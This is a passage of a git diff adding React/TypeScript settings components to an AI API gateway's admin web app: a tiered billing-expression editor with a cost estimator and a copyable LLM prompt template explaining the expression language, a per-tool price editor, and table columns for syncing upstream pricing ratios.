+      <div className='grid grid-cols-2 gap-3'>
+        <div className='space-y-1'>
+          <Label className='text-xs'>{t('Input tokens')} (p)</Label>
+          <Input
+            type='number'
+            min={0}
+            value={promptTokens}
+            onChange={(event) =>
+              setPromptTokens(Number(event.target.value) || 0)
+            }
+          />
+        </div>
+        <div className='space-y-1'>
+          <Label className='text-xs'>{t('Output tokens')} (c)</Label>
+          <Input
+            type='number'
+            min={0}
+            value={completionTokens}
+            onChange={(event) =>
+              setCompletionTokens(Number(event.target.value) || 0)
+            }
+          />
+        </div>
+      </div>
+      {usesExtras && (
+        <div className='grid grid-cols-2 gap-3'>
+          {BILLING_EXTRA_VARS.map((variable) => {
+            // BILLING_EXTRA_VARS only contains pricing variables; they are
+            // guaranteed to have a non-null `field` (the `len` condition-only
+            // variable is filtered out). Narrow the type here for safety.
+            if (!variable.field) return null
+            const stateKey = variable.field.replace(
+              'Price',
+              'Tokens'
+            ) as keyof ExtraTokenValues
+            return (
+              <div key={variable.key} className='space-y-1'>
+                <Label className='text-xs'>
+                  {variable.shortLabel} ({variable.key})
+                </Label>
+                <Input
+                  type='number'
+                  min={0}
+                  value={extras[stateKey]}
+                  onChange={(event) =>
+                    setExtras((prev) => ({
+                      ...prev,
+                      [stateKey]: Number(event.target.value) || 0,
+                    }))
+                  }
+                />
+              </div>
+            )
+          })}
+        </div>
+      )}
+      <div
+        className={cn(
+          'rounded-md border p-3 text-sm',
+          result.error
+            ? 'border-destructive/50 bg-destructive/10 text-destructive'
+            : 'border-primary/50 bg-primary/10'
+        )}
+      >
+        {result.error ? (
+          <span>
+            {t('Expression error')}: {result.error}
+          </span>
+        ) : (
+          <div className='flex items-center gap-2'>
+            <span className='font-medium'>
+              {t('Estimated quota cost')}: {result.cost.toLocaleString()}
+            </span>
+            {result.matchedTier && (
+              <Badge variant='outline' className='text-xs'>
+                {t('Hit tier')}: {result.matchedTier}
+              </Badge>
+            )}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// LLM prompt helper
+// ---------------------------------------------------------------------------
+
+const LLM_PROMPT_TEMPLATE = `You are an AI API billing expression design assistant. The user needs help designing a billing expression for an AI API gateway.
+
+## Expression Language
+
+Expressions are based on standard arithmetic with ternary operators.
+
+### Token Variables
+
+Input side:
+- p — input token count (for pricing). Automatically excludes sub-categories priced separately (e.g., if cr is used, cache tokens are deducted from p)
+- len — total input context length (for condition checks). Not affected by auto-exclusion; always reflects the full input length. Use in tier conditions
+- cr — cache-hit (read) token count
+- cc — cache-create token count (5-min TTL)
+- cc1h — cache-create token count (1-hour TTL, Claude-specific)
+- img — image input token count
+- ai — audio input token count
+
+Output side:
+- c — output token count. Also auto-excludes sub-categories priced separately
+- img_o — image output token count
+- ao — audio output token count
+
+### p/c Auto-exclusion
+
+p and c are fallback variables representing all tokens not separately priced in the expression. If the expression uses a sub-category variable (e.g., cr), those tokens are deducted from p to avoid double-billing. Unused sub-category tokens remain in p/c at base price.
+
+Important: len is NOT affected by auto-exclusion. Tier conditions should use len instead of p to prevent cache hits from lowering p and misidentifying the tier.
+
+### Built-in Functions
+
+- tier(name, value) — labels the billing tier; must wrap the cost expression
+- max(a, b), min(a, b) — maximum/minimum
+- ceil(x), floor(x), abs(x) — ceiling, floor, absolute value
+- header(name) — reads a request header
+- param(path) — reads a request body JSON path (gjson syntax)
+- has(source, substr) — substring check
+- hour(tz), minute(tz), weekday(tz), month(tz), day(tz) — time functions, tz is a timezone like "Asia/Shanghai"
+
+### Price Coefficients
+
+Numbers in the expression are $/1M tokens prices. For example, p * 2.5 means input $2.50/1M tokens.
+
+## Expression Examples
+
+Simple pricing:
+tier("base", p * 2.5 + c * 15)
+
+With cache:
+tier("base", p * 2.5 + c * 15 + cr * 0.25)
+
+Multi-tier (use len for conditions):
+len <= 200000
+  ? tier("standard", p * 3 + c * 15 + cr * 0.3 + cc * 3.75 + cc1h * 6)
+  : tier("long_context", p * 6 + c * 22.5 + cr * 0.6 + cc * 7.5 + cc1h * 12)
+
+Image model:
+tier("base", p * 2 + c * 8 + img * 2.5)
+
+Multimodal with audio:
+tier("base", p * 0.43 + c * 3.06 + img * 0.78 + ai * 3.81 + ao * 15.11)
+
+Three-tier example:
+len <= 128000
+  ? tier("standard", p * 1.1 + c * 4.4)
+  : (len <= 1000000
+    ? tier("medium", p * 2.2 + c * 8.8)
+    : tier("long", p * 4.4 + c * 17.6))
+
+## Rules
+
+1. Every leaf branch must be wrapped in tier("name", cost_expr)
+2. Use English tier names, e.g. "base", "standard", "long_context"
+3. Use len for tier conditions (not p), supports <, <=, >, >=
+4. Multi-tier uses nested ternary: cond1 ? tier(...) : (cond2 ? tier(...) : tier(...))
+5. Price coefficients are the provider's official $/1M tokens prices
+6. If cache/image/audio don't need separate pricing, omit those variables; their tokens are included in p/c automatically
+
+Please generate a billing expression based on the model information and pricing requirements provided.`
+
+type LlmPromptHelperProps = {
+  modelName?: string
+}
+
+function LlmPromptHelper({ modelName }: LlmPromptHelperProps) {
+  const { t } = useTranslation()
+  const [open, setOpen] = useState(false)
+
+  const prompt = useMemo(() => {
+    if (modelName) {
+      return LLM_PROMPT_TEMPLATE + `\n\nCurrent model: ${modelName}`
+    }
+    return LLM_PROMPT_TEMPLATE
+  }, [modelName])
+
+  const handleCopy = useCallback(async () => {
+    try {
+      await navigator.clipboard.writeText(prompt)
+      toast.success(t('Copied to clipboard'))
+    } catch {
+      toast.error(t('Failed to copy'))
+    }
+  }, [prompt, t])
+
+  return (
+    <Collapsible open={open} onOpenChange={setOpen}>
+      <CollapsibleTrigger asChild>
+        <Button variant='ghost' size='sm' className='h-7 px-2 text-xs'>
+          <Copy className='mr-1.5 h-3 w-3' />
+          {t('LLM prompt helper')}
+        </Button>
+      </CollapsibleTrigger>
+      <CollapsibleContent className='mt-2'>
+        <div className='bg-muted/30 rounded-md border p-3'>
+          <div className='mb-2 flex items-center justify-between'>
+            <p className='text-muted-foreground text-xs'>
+              {t(
+                'Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.'
+              )}
+            </p>
+            <Button
+              variant='outline'
+              size='sm'
+              className='ml-3 shrink-0'
+              onClick={handleCopy}
+            >
+              <Copy className='mr-1.5 h-3 w-3' />
+              {t('Copy prompt')}
+            </Button>
+          </div>
+          <Textarea
+            value={prompt}
+            readOnly
+            rows={8}
+            className='font-mono text-xs'
+            spellCheck={false}
+          />
+        </div>
+      </CollapsibleContent>
+    </Collapsible>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Main editor
+// ---------------------------------------------------------------------------
+
+export type TieredPricingEditorProps = {
+  modelName?: string
+  billingExpr: string
+  requestRuleExpr: string
+  onBillingExprChange: (next: string) => void
+  onRequestRuleExprChange: (next: string) => void
+}
+
+type EditorMode = 'visual' | 'raw'
+
+export const TieredPricingEditor = memo(function TieredPricingEditor({
+  modelName,
+  billingExpr: currentExpr,
+  requestRuleExpr: currentRequestRuleExpr,
+  onBillingExprChange,
+  onRequestRuleExprChange,
+}: TieredPricingEditorProps) {
+  const { t } = useTranslation()
+  const [editorMode, setEditorMode] = useState<EditorMode>('visual')
+  const [visualConfig, setVisualConfig] = useState<VisualConfig | null>(() =>
+    tryParseVisualConfig(currentExpr)
+  )
+  const [rawExpr, setRawExpr] = useState(() =>
+    combineBillingExpr(currentExpr || '', currentRequestRuleExpr || '')
+  )
+  const [requestRuleGroups, setRequestRuleGroups] = useState<
+    RequestRuleGroup[]
+  >(() => tryParseRequestRuleExpr(currentRequestRuleExpr) || [])
+  const initRef = useRef(false)
+
+  useEffect(() => {
+    if (initRef.current) return
+    initRef.current = true
+    const parsedConfig = tryParseVisualConfig(currentExpr)
+    if (parsedConfig) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setVisualConfig(parsedConfig)
+      setEditorMode('visual')
+    } else if (currentExpr) {
+      setVisualConfig(null)
+      setEditorMode('raw')
+    } else {
+      setVisualConfig(createDefaultVisualConfig())
+    }
+    setRawExpr(
+      combineBillingExpr(currentExpr || '', currentRequestRuleExpr || '')
+    )
+    setRequestRuleGroups(tryParseRequestRuleExpr(currentRequestRuleExpr) || [])
+  }, [currentExpr, currentRequestRuleExpr])
+
+  useEffect(() => {
+    initRef.current = false
+  }, [modelName])
+
+  const canUseVisualRules = useMemo(() => {
+    if (!currentRequestRuleExpr) return true
+    return tryParseRequestRuleExpr(currentRequestRuleExpr) !== null
+  }, [currentRequestRuleExpr])
+
+  const effectiveExpr = useMemo(() => {
+    if (editorMode === 'visual') {
+      return generateExprFromVisualConfig(visualConfig)
+    }
+    const { billingExpr } = splitBillingExprAndRequestRules(rawExpr)
+    return billingExpr
+  }, [editorMode, visualConfig, rawExpr])
+
+  useEffect(() => {
+    if (effectiveExpr !== currentExpr) {
+      onBillingExprChange(effectiveExpr)
+    }
+  }, [effectiveExpr, currentExpr, onBillingExprChange])
+
+  useEffect(() => {
+    if (editorMode !== 'visual') return
+    const ruleExpr = buildRequestRuleExpr(requestRuleGroups)
+    if (ruleExpr !== currentRequestRuleExpr) {
+      onRequestRuleExprChange(ruleExpr)
+    }
+  }, [
+    editorMode,
+    requestRuleGroups,
+    currentRequestRuleExpr,
+    onRequestRuleExprChange,
+  ])
+
+  const handleVisualChange = useCallback((next: VisualConfig) => {
+    setVisualConfig(next)
+  }, [])
+
+  const handleRawChange = useCallback(
+    (value: string) => {
+      setRawExpr(value)
+      const { requestRuleExpr: ruleStr } =
+        splitBillingExprAndRequestRules(value)
+      onRequestRuleExprChange(ruleStr)
+    },
+    [onRequestRuleExprChange]
+  )
+
+  const handleModeChange = useCallback(
+    (next: EditorMode) => {
+      if (next === 'visual') {
+        const { billingExpr, requestRuleExpr: ruleStr } =
+          splitBillingExprAndRequestRules(rawExpr)
+        const parsed = tryParseVisualConfig(billingExpr)
+        if (parsed) {
+          setVisualConfig(parsed)
+        } else {
+          setVisualConfig(createDefaultVisualConfig())
+        }
+        const parsedGroups = tryParseRequestRuleExpr(ruleStr)
+        setRequestRuleGroups(parsedGroups || [])
+        onRequestRuleExprChange(ruleStr)
+      } else {
+        const expr = generateExprFromVisualConfig(visualConfig)
+        const ruleExpr = buildRequestRuleExpr(requestRuleGroups)
+        setRawExpr(combineBillingExpr(expr, ruleExpr) || expr)
+      }
+      setEditorMode(next)
+    },
+    [rawExpr, visualConfig, requestRuleGroups, onRequestRuleExprChange]
+  )
+
+  const applyPreset = useCallback(
+    (preset: Preset) => {
+      const presetGroups = preset.requestRules || []
+      const ruleExpr = buildRequestRuleExpr(presetGroups)
+      const combined = combineBillingExpr(preset.expr, ruleExpr) || preset.expr
+      setRawExpr(combined)
+      const parsed = tryParseVisualConfig(preset.expr)
+      if (parsed) {
+        setVisualConfig(parsed)
+        setEditorMode('visual')
+      } else {
+        setEditorMode('raw')
+        setVisualConfig(null)
+      }
+      setRequestRuleGroups(presetGroups)
+      onRequestRuleExprChange(ruleExpr)
+    },
+    [onRequestRuleExprChange]
+  )
+
+  const handleRuleGroupsChange = useCallback((next: RequestRuleGroup[]) => {
+    setRequestRuleGroups(next)
+  }, [])
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex items-center justify-between gap-2'>
+        <Label className='text-xs'>{t('Editor mode')}</Label>
+        <Select
+          value={editorMode}
+          onValueChange={(value) => handleModeChange(value as EditorMode)}
+        >
+          <SelectTrigger className='w-44' size='sm'>
+            <SelectValue />
+          </SelectTrigger>
+          <SelectContent>
+            <SelectItem value='visual'>{t('Visual editor')}</SelectItem>
+            <SelectItem value='raw'>{t('Expression editor')}</SelectItem>
+          </SelectContent>
+        </Select>
+      </div>
+
+      <div className='flex flex-wrap items-start gap-x-4 gap-y-1'>
+        <div className='flex-1'>
+          <PresetSection applyPreset={applyPreset} />
+        </div>
+        <LlmPromptHelper modelName={modelName} />
+      </div>
+
+      <div className='bg-muted/30 space-y-3 rounded-md border p-3'>
+        {editorMode === 'visual' ? (
+          <VisualEditor
+            visualConfig={visualConfig}
+            onChange={handleVisualChange}
+          />
+        ) : (
+          <RawExprEditor exprString={rawExpr} onChange={handleRawChange} />
+        )}
+
+        {editorMode === 'visual' && (
+          <div className='space-y-3 border-t pt-3'>
+            <div className='space-y-1'>
+              <h4 className='text-sm font-medium'>
+                {t('Request rule pricing')}
+              </h4>
+              <p className='text-muted-foreground text-xs'>
+                {t(
+                  'When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.'
+                )}
+              </p>
+            </div>
+
+            {currentRequestRuleExpr && !canUseVisualRules ? (
+              <Alert>
+                <AlertDescription className='text-xs'>
+                  {t(
+                    'This expression is too complex for the visual editor. Please switch to expression mode to edit.'
+                  )}
+                </AlertDescription>
+              </Alert>
+            ) : (
+              <>
+                {requestRuleGroups.map((group, groupIndex) => (
+                  <RuleGroupCard
+                    key={groupIndex}
+                    group={group}
+                    index={groupIndex}
+                    onChange={(next) => {
+                      const updated = [...requestRuleGroups]
+                      updated[groupIndex] = next
+                      handleRuleGroupsChange(updated)
+                    }}
+                    onRemove={() =>
+                      handleRuleGroupsChange(
+                        requestRuleGroups.filter((_, i) => i !== groupIndex)
+                      )
+                    }
+                  />
+                ))}
+                <div className='flex flex-wrap gap-2'>
+                  <Button
+                    variant='outline'
+                    size='sm'
+                    onClick={() =>
+                      handleRuleGroupsChange([
+                        ...requestRuleGroups,
+                        createEmptyRuleGroup(),
+                      ])
+                    }
+                  >
+                    <Plus className='mr-2 h-4 w-4' />
+                    {t('Add rule group')}
+                  </Button>
+                  <Button
+                    variant='ghost'
+                    size='sm'
+                    onClick={() =>
+                      handleRuleGroupsChange([
+                        ...requestRuleGroups,
+                        createEmptyTimeRuleGroup(),
+                      ])
+                    }
+                  >
+                    <Plus className='mr-2 h-4 w-4' />
+                    {t('Add time rule group')}
+                  </Button>
+                </div>
+              </>
+            )}
+          </div>
+        )}
+      </div>
+
+      <CostEstimator effectiveExpr={effectiveExpr} />
+    </div>
+  )
+})
diff --git a/new-api/web/default/src/features/system-settings/models/tool-price-settings.tsx b/new-api/web/default/src/features/system-settings/models/tool-price-settings.tsx
new file mode 100644
index 0000000..cab0441
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/tool-price-settings.tsx
@@ -0,0 +1,337 @@
+import { memo, useCallback, useEffect, useMemo, useState } from 'react'
+import { Code2, Copy, Eye, Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { Textarea } from '@/components/ui/textarea'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const OPTION_KEY = 'tool_price_setting.prices'
+
+const DEFAULT_PRICES: Record<string, number> = {
+  web_search: 10.0,
+  web_search_preview: 10.0,
+  'web_search_preview:gpt-4o*': 25.0,
+  'web_search_preview:gpt-4.1*': 25.0,
+  'web_search_preview:gpt-4o-mini*': 25.0,
+  'web_search_preview:gpt-4.1-mini*': 25.0,
+  file_search: 2.5,
+  google_search: 14.0,
+}
+
+type ToolPriceRow = {
+  id: number
+  key: string
+  price: number
+}
+
+function rowsToObject(rows: ToolPriceRow[]): Record<string, number> {
+  const prices: Record<string, number> = {}
+  for (const row of rows) {
+    const k = row.key.trim()
+    if (!k) continue
+    prices[k] = Number(row.price) || 0
+  }
+  return prices
+}
+
+function objectToRows(prices: Record<string, number>): ToolPriceRow[] {
+  return Object.entries(prices).map(([key, price], index) => ({
+    id: index + 1,
+    key,
+    price: Number(price) || 0,
+  }))
+}
+
+function parseInitialPrices(
+  rawValue: string | undefined
+): Record<string, number> {
+  if (!rawValue) return { ...DEFAULT_PRICES }
+  try {
+    const parsed = JSON.parse(rawValue) as unknown
+    if (
+      parsed &&
+      typeof parsed === 'object' &&
+      !Array.isArray(parsed) &&
+      Object.keys(parsed as object).length > 0
+    ) {
+      return parsed as Record<string, number>
+    }
+  } catch {
+    // fall through to defaults
+  }
+  return { ...DEFAULT_PRICES }
+}
+
+type ToolPriceSettingsProps = {
+  defaultValue: string
+}
+
+export const ToolPriceSettings = memo(function ToolPriceSettings({
+  defaultValue,
+}: ToolPriceSettingsProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [editMode, setEditMode] = useState<'visual' | 'json'>('visual')
+  const [rows, setRows] = useState<ToolPriceRow[]>([])
+  const [jsonText, setJsonText] = useState('')
+  const [jsonError, setJsonError] = useState('')
+  const [nextRowId, setNextRowId] = useState(1)
+
+  useEffect(() => {
+    const prices = parseInitialPrices(defaultValue)
+    const initialRows = objectToRows(prices)
+    // eslint-disable-next-line react-hooks/set-state-in-effect
+    setRows(initialRows)
+    setJsonText(JSON.stringify(prices, null, 2))
+    setJsonError('')
+    setNextRowId(initialRows.length + 1)
+  }, [defaultValue])
+
+  const currentPrices = useMemo(() => rowsToObject(rows), [rows])
+
+  const syncFromRows = useCallback((nextRows: ToolPriceRow[]) => {
+    setRows(nextRows)
+    setJsonText(JSON.stringify(rowsToObject(nextRows), null, 2))
+    setJsonError('')
+  }, [])
+
+  const handleJsonChange = useCallback(
+    (text: string) => {
+      setJsonText(text)
+      try {
+        const parsed = JSON.parse(text) as unknown
+        if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+          setJsonError(t('JSON must be an object'))
+          return
+        }
+        const nextRows = objectToRows(parsed as Record<string, number>)
+        setRows(nextRows)
+        setNextRowId(nextRows.length + 1)
+        setJsonError('')
+      } catch (error) {
+        setJsonError(error instanceof Error ? error.message : t('Invalid JSON'))
+      }
+    },
+    [t]
+  )
+
+  const updateRow = useCallback(
+    (id: number, field: 'key' | 'price', value: string | number) => {
+      syncFromRows(
+        rows.map((r) => (r.id === id ? { ...r, [field]: value } : r))
+      )
+    },
+    [rows, syncFromRows]
+  )
+
+  const addRow = useCallback(() => {
+    const newRow: ToolPriceRow = { id: nextRowId, key: '', price: 0 }
+    setNextRowId((prev) => prev + 1)
+    syncFromRows([...rows, newRow])
+  }, [nextRowId, rows, syncFromRows])
+
+  const removeRow = useCallback(
+    (id: number) => {
+      syncFromRows(rows.filter((r) => r.id !== id))
+    },
+    [rows, syncFromRows]
+  )
+
+  const resetToDefault = useCallback(() => {
+    const initialRows = objectToRows(DEFAULT_PRICES)
+    setRows(initialRows)
+    setJsonText(JSON.stringify(DEFAULT_PRICES, null, 2))
+    setJsonError('')
+    setNextRowId(initialRows.length + 1)
+  }, [])
+
+  const handleCopyJson = useCallback(async () => {
+    try {
+      await navigator.clipboard.writeText(jsonText)
+      toast.success(t('Copied to clipboard'))
+    } catch {
+      toast.error(t('Failed to copy'))
+    }
+  }, [jsonText, t])
+
+  const handleSave = useCallback(async () => {
+    if (editMode === 'json' && jsonError) {
+      toast.error(t('Please fix JSON errors before saving'))
+      return
+    }
+    await updateOption.mutateAsync({
+      key: OPTION_KEY,
+      value: JSON.stringify(currentPrices),
+    })
+  }, [currentPrices, editMode, jsonError, t, updateOption])
+
+  const toggleEditMode = useCallback(() => {
+    setEditMode((prev) => (prev === 'visual' ? 'json' : 'visual'))
+  }, [])
+
+  return (
+    <div className='space-y-4'>
+      <Alert>
+        <AlertDescription className='space-y-1 text-sm'>
+          <div>
+            {t(
+              'Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.'
+            )}
+          </div>
+          <div>
+            <span className='font-medium'>{t('Format')}:</span>{' '}
+            <code className='bg-muted rounded px-1 py-0.5 text-xs'>
+              web_search_preview
+            </code>{' '}
+            {t('is the default price; ')}
+            <code className='bg-muted rounded px-1 py-0.5 text-xs'>
+              web_search_preview:gpt-4o*
+            </code>{' '}
+            {t('overrides for matching model prefix.')}
+          </div>
+        </AlertDescription>
+      </Alert>
+
+      <div className='flex flex-wrap items-center justify-between gap-2'>
+        <div className='flex flex-wrap items-center gap-2'>
+          {editMode === 'visual' ? (
+            <>
+              <Button variant='outline' size='sm' onClick={addRow}>
+                <Plus className='mr-2 h-4 w-4' />
+                {t('Add')}
+              </Button>
+              <Button variant='ghost' size='sm' onClick={resetToDefault}>
+                {t('Restore defaults')}
+              </Button>
+            </>
+          ) : (
+            <>
+              <Button variant='ghost' size='sm' onClick={handleCopyJson}>
+                <Copy className='mr-2 h-4 w-4' />
+                {t('Copy')}
+              </Button>
+              <Button variant='ghost' size='sm' onClick={resetToDefault}>
+                {t('Restore defaults')}
+              </Button>
+            </>
+          )}
+        </div>
+        <Button variant='outline' size='sm' onClick={toggleEditMode}>
+          {editMode === 'visual' ? (
+            <>
+              <Code2 className='mr-2 h-4 w-4' />
+              {t('Switch to JSON')}
+            </>
+          ) : (
+            <>
+              <Eye className='mr-2 h-4 w-4' />
+              {t('Switch to Visual')}
+            </>
+          )}
+        </Button>
+      </div>
+
+      {editMode === 'visual' ? (
+        <div className='overflow-hidden rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>{t('Tool identifier')}</TableHead>
+                <TableHead className='w-[200px]'>
+                  {t('Price ($/1K calls)')}
+                </TableHead>
+                <TableHead className='w-[80px] text-right'>
+                  {t('Actions')}
+                </TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {rows.length === 0 ? (
+                <TableRow>
+                  <TableCell
+                    colSpan={3}
+                    className='text-muted-foreground py-8 text-center'
+                  >
+                    {t('No tools configured')}
+                  </TableCell>
+                </TableRow>
+              ) : (
+                rows.map((row) => (
+                  <TableRow key={row.id}>
+                    <TableCell>
+                      <Input
+                        value={row.key}
+                        placeholder='web_search_preview:gpt-4o*'
+                        onChange={(e) =>
+                          updateRow(row.id, 'key', e.target.value)
+                        }
+                      />
+                    </TableCell>
+                    <TableCell>
+                      <Input
+                        type='number'
+                        min={0}
+                        step={0.5}
+                        value={row.price}
+                        onChange={(e) =>
+                          updateRow(
+                            row.id,
+                            'price',
+                            Number(e.target.value) || 0
+                          )
+                        }
+                      />
+                    </TableCell>
+                    <TableCell className='text-right'>
+                      <Button
+                        variant='ghost'
+                        size='icon'
+                        onClick={() => removeRow(row.id)}
+                        aria-label={t('Delete')}
+                      >
+                        <Trash2 className='text-destructive h-4 w-4' />
+                      </Button>
+                    </TableCell>
+                  </TableRow>
+                ))
+              )}
+            </TableBody>
+          </Table>
+        </div>
+      ) : (
+        <div className='space-y-2'>
+          <Textarea
+            value={jsonText}
+            onChange={(e) => handleJsonChange(e.target.value)}
+            className='font-mono text-sm'
+            rows={12}
+            spellCheck={false}
+          />
+          {jsonError && <p className='text-destructive text-sm'>{jsonError}</p>}
+        </div>
+      )}
+
+      <div className='flex justify-end'>
+        <Button
+          onClick={handleSave}
+          disabled={
+            updateOption.isPending || (editMode === 'json' && !!jsonError)
+          }
+        >
+          {t('Save tool prices')}
+        </Button>
+      </div>
+    </div>
+  )
+})
diff --git a/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-columns.tsx b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-columns.tsx
new file mode 100644
index 0000000..02e6f91
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/upstream-ratio-sync-columns.tsx
@@ -0,0 +1,338 @@
+import { useMemo } from 'react'
+import { type ColumnDef } from '@tanstack/react-table'
+import { AlertTriangle } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { StatusBadge } from '@/components/status-badge'
+import type { RatioType } from '../types'
+import {
+  getOrderedRatioTypes,
+  getPreferredSyncField,
+  getSyncFieldLabel,
+  isSelectableUpstreamValue,
+  type ModelRow,
+  type ResolutionsMap,
+} from './upstream-ratio-sync-helpers'
+
+export function useUpstreamRatioSyncColumns(
+  upstreamNames: string[],
+  resolutions: ResolutionsMap,
+  ratioTypeFilter: string,
+  isDisabled: boolean,
+  onSelectValue: (
+    model: string,
+    ratioType: RatioType,
+    value: number | string,
+    sourceName: string
+  ) => void,
+  onUnselectValue: (model: string, ratioType: RatioType) => void,
+  onBulkSelect: (upstreamName: string, rows: ModelRow[]) => void,
+  onBulkUnselect: (upstreamName: string, rows: ModelRow[]) => void
+): ColumnDef<ModelRow>[] {
+  const { t } = useTranslation()
+
+  return useMemo<ColumnDef<ModelRow>[]>(() => {
+    const baseColumns: ColumnDef<ModelRow>[] = [
+      {
+        accessorKey: 'model',
+        header: t('Model'),
+        cell: ({ row }) => {
+          const model = row.original.model
+          return (
+            <div className='flex min-w-[180px] items-center gap-2'>
+              <span className='font-medium'>{model}</span>
+              {row.original.billingConflict && (
+                <TooltipProvider>
+                  <Tooltip>
+                    <TooltipTrigger>
+                      <AlertTriangle className='h-3.5 w-3.5 shrink-0 text-amber-500' />
+                    </TooltipTrigger>
+                    <TooltipContent>
+                      <p>
+                        {t(
+                          'This model has both fixed price and ratio billing conflicts'
+                        )}
+                      </p>
+                    </TooltipContent>
+                  </Tooltip>
+                </TooltipProvider>
+              )}
+            </div>
+          )
+        },
+      },
+      {
+        id: 'current',
+        header: t('Current Price'),
+        cell: ({ row }) => {
+          const fields = getOrderedRatioTypes(
+            row.original.ratioTypes,
+            ratioTypeFilter
+          )
+          return (
+            <div className='flex min-w-[260px] flex-col gap-2'>
+              {fields.map((ratioType) => {
+                const current = row.original.ratioTypes[ratioType]?.current
+                return (
+                  <div
+                    key={ratioType}
+                    className='flex min-w-0 flex-wrap items-center gap-2'
+                  >
+                    <StatusBadge
+                      label={getSyncFieldLabel(ratioType, t)}
+                      autoColor={ratioType}
+                      size='sm'
+                      copyable={false}
+                    />
+                    {current === null || current === undefined ? (
+                      <StatusBadge
+                        label={t('Not Set')}
+                        variant='neutral'
+                        size='sm'
+                        copyable={false}
+                      />
+                    ) : (
+                      <TooltipProvider>
+                        <Tooltip>
+                          <TooltipTrigger asChild>
+                            <StatusBadge
+                              label={String(current)}
+                              variant='info'
+                              size='sm'
+                              className='max-w-[200px] truncate'
+                            />
+                          </TooltipTrigger>
+                          <TooltipContent>
+                            <p className='max-w-xs text-xs break-all'>
+                              {String(current)}
+                            </p>
+                          </TooltipContent>
+                        </Tooltip>
+                      </TooltipProvider>
+                    )}
+                  </div>
+                )
+              })}
+            </div>
+          )
+        },
+      },
+    ]
+
+    const upstreamColumns: ColumnDef<ModelRow>[] = upstreamNames.map(
+      (upstreamName) => ({
+        id: `upstream_${upstreamName}`,
+        header: ({ table }) => {
+          const rows = table.getFilteredRowModel().rows.map((r) => r.original)
+
+          let selectableCount = 0
+          let selectedCount = 0
+
+          rows.forEach((row) => {
+            getOrderedRatioTypes(row.ratioTypes, ratioTypeFilter).forEach(
+              (ratioType) => {
+                const upstreamVal =
+                  row.ratioTypes[ratioType]?.upstreams?.[upstreamName]
+                const preferredField = getPreferredSyncField(
+                  row.ratioTypes,
+                  ratioType,
+                  upstreamName
+                )
+                if (
+                  preferredField === ratioType &&
+                  isSelectableUpstreamValue(upstreamVal)
+                ) {
+                  selectableCount++
+                  if (resolutions[row.model]?.[ratioType] === upstreamVal) {
+                    selectedCount++
+                  }
+                }
+              }
+            )
+          })
+
+          const allSelected =
+            selectableCount > 0 && selectedCount === selectableCount
+          const someSelected =
+            selectedCount > 0 && selectedCount < selectableCount
+          let checkboxState: boolean | 'indeterminate' = false
+          if (allSelected) checkboxState = true
+          else if (someSelected) checkboxState = 'indeterminate'
+
+          return (
+            <div className='flex items-center gap-2'>
+              {selectableCount > 0 && (
+                <Checkbox
+                  checked={checkboxState}
+                  disabled={isDisabled}
+                  onCheckedChange={(checked) => {
+                    if (checked) {
+                      onBulkSelect(upstreamName, rows)
+                    } else {
+                      onBulkUnselect(upstreamName, rows)
+                    }
+                  }}
+                />
+              )}
+              <span className='font-medium'>{upstreamName}</span>
+            </div>
+          )
+        },
+        cell: ({ row }) => {
+          const fields = getOrderedRatioTypes(
+            row.original.ratioTypes,
+            ratioTypeFilter
+          ).filter(
+            (ratioType) =>
+              getPreferredSyncField(
+                row.original.ratioTypes,
+                ratioType,
+                upstreamName
+              ) === ratioType
+          )
+
+          return (
+            <div className='flex min-w-[280px] flex-col gap-2'>
+              {fields.map((ratioType) => {
+                const diff = row.original.ratioTypes[ratioType]
+                const upstreamVal = diff?.upstreams?.[upstreamName]
+                const isConfident = diff?.confidence?.[upstreamName] !== false
+
+                return (
+                  <div
+                    key={ratioType}
+                    className='flex min-w-0 items-start gap-2'
+                  >
+                    <StatusBadge
+                      label={getSyncFieldLabel(ratioType, t)}
+                      autoColor={ratioType}
+                      size='sm'
+                      copyable={false}
+                      className='shrink-0'
+                    />
+                    <div className='min-w-0 flex-1'>
+                      {renderUpstreamValue({
+                        upstreamVal,
+                        isConfident,
+                        isSelected:
+                          resolutions[row.original.model]?.[ratioType] ===
+                          upstreamVal,
+                        isDisabled,
+                        t,
+                        onSelect: () =>
+                          onSelectValue(
+                            row.original.model,
+                            ratioType,
+                            upstreamVal as number | string,
+                            upstreamName
+                          ),
+                        onUnselect: () =>
+                          onUnselectValue(row.original.model, ratioType),
+                      })}
+                    </div>
+                  </div>
+                )
+              })}
+            </div>
+          )
+        },
+      })
+    )
+
+    return [...baseColumns, ...upstreamColumns]
+  }, [
+    upstreamNames,
+    resolutions,
+    ratioTypeFilter,
+    isDisabled,
+    onSelectValue,
+    onUnselectValue,
+    onBulkSelect,
+    onBulkUnselect,
+    t,
+  ])
+}
+
+type RenderUpstreamValueArgs = {
+  upstreamVal: number | string | 'same' | null | undefined
+  isConfident: boolean
+  isSelected: boolean
+  isDisabled: boolean
+  t: (key: string) => string
